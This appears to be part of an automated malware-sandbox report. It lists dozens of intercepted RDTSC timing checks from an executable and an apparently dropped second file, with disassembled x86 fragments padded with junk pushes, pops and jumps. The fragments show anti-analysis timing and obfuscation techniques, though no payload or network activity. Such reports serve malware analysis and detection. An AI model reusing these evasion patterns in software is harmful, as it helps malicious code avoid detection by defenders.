Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC758 second address: 13CC764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC764 second address: 13CC768 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC768 second address: 13CC76E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CCBA4 second address: 13CCBB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA411Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CCBB5 second address: 13CCBB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CCBB9 second address: 13CCBEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA411Eh 0x00000007 jmp 00007FE350BA4125h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007FE350BA411Ah 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF9E0 second address: 13CF9E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFAC5 second address: 13CFAC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFAC9 second address: 13CFB24 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE3507549A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FE3507549ACh 0x00000011 jmp 00007FE3507549AFh 0x00000016 popad 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push edx 0x0000001c jnl 00007FE3507549BDh 0x00000022 pop edx 0x00000023 mov eax, dword ptr [eax] 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FE3507549ABh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFB24 second address: 13CFB4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE350BA4127h 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFB4C second address: 13CFB50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFB50 second address: 13CFB56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFB56 second address: 13CFB60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FE3507549A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CFE2B second address: 13CFE2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6CAF second address: 12A6CB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6CB3 second address: 12A6CE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA4121h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FE350BA4116h 0x00000013 jmp 00007FE350BA411Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6CE0 second address: 12A6CE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D29B4 second address: 13D29B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D4866 second address: 13D486E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0330 second address: 4CC033F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA411Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC033F second address: 4CC0345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC03E2 second address: 4CC041F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA411Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bx, cx 0x0000000e mov ch, C7h 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 mov bx, cx 0x00000016 mov dx, cx 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FE350BA4128h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC041F second address: 4CC042E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC042E second address: 4CC046F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA4129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FE350BA411Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007FE350BA411Dh 0x00000019 push esi 0x0000001a pop edx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EBD9E second address: 12EBDA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC111 second address: 12EC11B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FE350BA4116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04A5 second address: 4CC04A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04A9 second address: 4CC04AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04AF second address: 4CC04B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04B5 second address: 4CC04B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04B9 second address: 4CC04E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE3507549AEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04E8 second address: 4CC04FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE350BA411Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04FA second address: 4CC0520 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE3507549B9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0520 second address: 4CC0524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0524 second address: 4CC052A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0583 second address: 4CC05B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA411Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 79CA20FBh 0x00000010 pushad 0x00000011 movzx esi, bx 0x00000014 mov dh, 3Bh 0x00000016 popad 0x00000017 call 00007FE3C1807B68h 0x0000001c push 759227D0h 0x00000021 push dword ptr fs:[00000000h] 0x00000028 mov eax, dword ptr [esp+10h] 0x0000002c mov dword ptr [esp+10h], ebp 0x00000030 lea ebp, dword ptr [esp+10h] 0x00000034 sub esp, eax 0x00000036 push ebx 0x00000037 push esi 0x00000038 push edi 0x00000039 mov eax, dword ptr [759B0140h] 0x0000003e xor dword ptr [ebp-04h], eax 0x00000041 xor eax, ebp 0x00000043 push eax 0x00000044 mov dword ptr [ebp-18h], esp 0x00000047 push dword ptr [ebp-08h] 0x0000004a mov eax, dword ptr [ebp-04h] 0x0000004d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000054 mov dword ptr [ebp-08h], eax 0x00000057 lea eax, dword ptr [ebp-10h] 0x0000005a mov dword ptr fs:[00000000h], eax 0x00000060 ret 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007FE350BA411Fh 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC05B6 second address: 4CC05DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [ebp-04h], 00000000h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 mov ebx, esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC05DC second address: 4CC0639 instructions: 0x00000000 rdtsc 0x00000002 mov cx, CB95h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007FE350BA4122h 0x0000000e xor cx, 6B68h 0x00000013 jmp 00007FE350BA411Bh 0x00000018 popfd 0x00000019 popad 0x0000001a mov edx, dword ptr [ebp+0Ch] 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FE350BA4124h 0x00000024 or ecx, 2C86BDC8h 0x0000002a jmp 00007FE350BA411Bh 0x0000002f popfd 0x00000030 push eax 0x00000031 push edx 0x00000032 movzx eax, di 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0639 second address: 4CC0674 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE3507549ABh 0x00000008 sbb eax, 2E2C740Eh 0x0000000e jmp 00007FE3507549B9h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov esi, edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov cx, bx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0674 second address: 4CC0679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0679 second address: 4CC06B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edx] 0x0000000b jmp 00007FE3507549B0h 0x00000010 inc edx 0x00000011 pushad 0x00000012 pushad 0x00000013 mov cx, C383h 0x00000017 mov ax, 14DFh 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06B1 second address: 4CC06B1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 test al, al 0x00000009 jmp 00007FE350BA411Ah 0x0000000e jne 00007FE350BA40DBh 0x00000014 mov al, byte ptr [edx] 0x00000016 jmp 00007FE350BA4120h 0x0000001b inc edx 0x0000001c pushad 0x0000001d pushad 0x0000001e mov cx, C383h 0x00000022 mov ax, 14DFh 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06F2 second address: 4CC0737 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE3507549B2h 0x00000008 adc cx, CCD8h 0x0000000d jmp 00007FE3507549ABh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 sub edx, esi 0x00000018 pushad 0x00000019 mov dl, 1Ch 0x0000001b mov edi, esi 0x0000001d popad 0x0000001e mov edi, dword ptr [ebp+08h] 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FE3507549AFh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0737 second address: 4CC0764 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA4129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 dec edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE350BA411Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0764 second address: 4CC076A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC076A second address: 4CC076E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC076E second address: 4CC07A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea ebx, dword ptr [edi+01h] 0x0000000e jmp 00007FE3507549B6h 0x00000013 mov al, byte ptr [edi+01h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07A9 second address: 4CC07AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07AF second address: 4CC0830 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movzx eax, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc edi 0x0000000c jmp 00007FE3507549B3h 0x00000011 test al, al 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FE3507549B4h 0x0000001a jmp 00007FE3507549B5h 0x0000001f popfd 0x00000020 jmp 00007FE3507549B0h 0x00000025 popad 0x00000026 jne 00007FE3C13ACC18h 0x0000002c pushad 0x0000002d mov edi, eax 0x0000002f mov ecx, 6EE4BC89h 0x00000034 popad 0x00000035 mov ecx, edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FE3507549AEh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0830 second address: 4CC083F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA411Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC083F second address: 4CC0845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0845 second address: 4CC0849 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0849 second address: 4CC0878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 shr ecx, 02h 0x0000000b jmp 00007FE3507549B7h 0x00000010 rep movsd 0x00000012 rep movsd 0x00000014 rep movsd 0x00000016 rep movsd 0x00000018 rep movsd 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push ebx 0x0000001e pop esi 0x0000001f mov edx, 69AB62B2h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0878 second address: 4CC089A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ebx 0x00000005 mov bx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE350BA4123h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC089A second address: 4CC08C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 movsx edi, si 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC08C3 second address: 4CC08E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov si, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsb 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov dx, si 0x00000013 jmp 00007FE350BA411Eh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC08E5 second address: 4CC08EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC08EB second address: 4CC0903 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movzx esi, dx 0x00000015 push ebx 0x00000016 pop eax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0903 second address: 4CC0993 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE3507549B6h 0x00000009 sub ch, 00000048h 0x0000000c jmp 00007FE3507549ABh 0x00000011 popfd 0x00000012 jmp 00007FE3507549B8h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov eax, ebx 0x0000001c jmp 00007FE3507549B0h 0x00000021 mov ecx, dword ptr [ebp-10h] 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007FE3507549AEh 0x0000002b or eax, 1949C208h 0x00000031 jmp 00007FE3507549ABh 0x00000036 popfd 0x00000037 mov ah, 90h 0x00000039 popad 0x0000003a mov dword ptr fs:[00000000h], ecx 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 mov si, 3D13h 0x00000048 movzx esi, dx 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0993 second address: 4CC09CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE350BA4120h 0x00000009 sbb si, 3798h 0x0000000e jmp 00007FE350BA411Bh 0x00000013 popfd 0x00000014 push ecx 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FE350BA411Ch 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC09CE second address: 4CC09DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC09DD second address: 4CC09E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC09E3 second address: 4CC0A09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE3507549B0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0A09 second address: 4CC0A0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0A0D second address: 4CC0A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C28 second address: 4CC0C9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA4129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FE350BA4127h 0x00000011 sbb cx, 93BEh 0x00000016 jmp 00007FE350BA4129h 0x0000001b popfd 0x0000001c mov ah, 6Dh 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FE350BA4126h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C9A second address: 4CC0CA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0CA0 second address: 4CC0D29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA411Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FE350BA411Ch 0x00000014 xor cx, 8648h 0x00000019 jmp 00007FE350BA411Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007FE350BA4128h 0x00000025 or eax, 0055C8A8h 0x0000002b jmp 00007FE350BA411Bh 0x00000030 popfd 0x00000031 popad 0x00000032 pop ebp 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 pushfd 0x00000037 jmp 00007FE350BA4122h 0x0000003c sbb eax, 0942BB08h 0x00000042 jmp 00007FE350BA411Bh 0x00000047 popfd 0x00000048 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: 9BF15D second address: 9BF161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: 9BF161 second address: 9BF187 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE350BA4116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007FE350BA411Dh 0x00000015 popad 0x00000016 jnl 00007FE350BA411Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: 9BF187 second address: 9BE9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 cld 0x00000007 push dword ptr [ebp+122D1675h] 0x0000000d cmc 0x0000000e call dword ptr [ebp+122D18B0h] 0x00000014 pushad 0x00000015 jmp 00007FE3507549AAh 0x0000001a xor eax, eax 0x0000001c jmp 00007FE3507549AEh 0x00000021 mov edx, dword ptr [esp+28h] 0x00000025 mov dword ptr [ebp+122D1915h], ebx 0x0000002b sub dword ptr [ebp+122D1915h], ebx 0x00000031 mov dword ptr [ebp+122D372Eh], eax 0x00000037 mov dword ptr [ebp+122D1915h], esi 0x0000003d mov esi, 0000003Ch 0x00000042 pushad 0x00000043 mov bx, ax 0x00000046 mov dword ptr [ebp+122D1915h], edi 0x0000004c popad 0x0000004d add esi, dword ptr [esp+24h] 0x00000051 jmp 00007FE3507549ADh 0x00000056 jmp 00007FE3507549B2h 0x0000005b lodsw 0x0000005d jmp 00007FE3507549ADh 0x00000062 add eax, dword ptr [esp+24h] 0x00000066 jno 00007FE3507549ADh 0x0000006c pushad 0x0000006d push edi 0x0000006e jmp 00007FE3507549B7h 0x00000073 pop ecx 0x00000074 stc 0x00000075 popad 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a pushad 0x0000007b js 00007FE3507549ACh 0x00000081 mov dword ptr [ebp+122D1BD8h], esi 0x00000087 call 00007FE3507549ACh 0x0000008c pop esi 0x0000008d popad 0x0000008e push eax 0x0000008f push ebx 0x00000090 pushad 0x00000091 push eax 0x00000092 push edx 0x00000093 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B31E99 second address: B31E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B31E9E second address: B31EA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B31EA3 second address: B31EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jbe 00007FE350BA4116h 0x0000000c popad 0x0000000d pushad 0x0000000e jnp 00007FE350BA4116h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
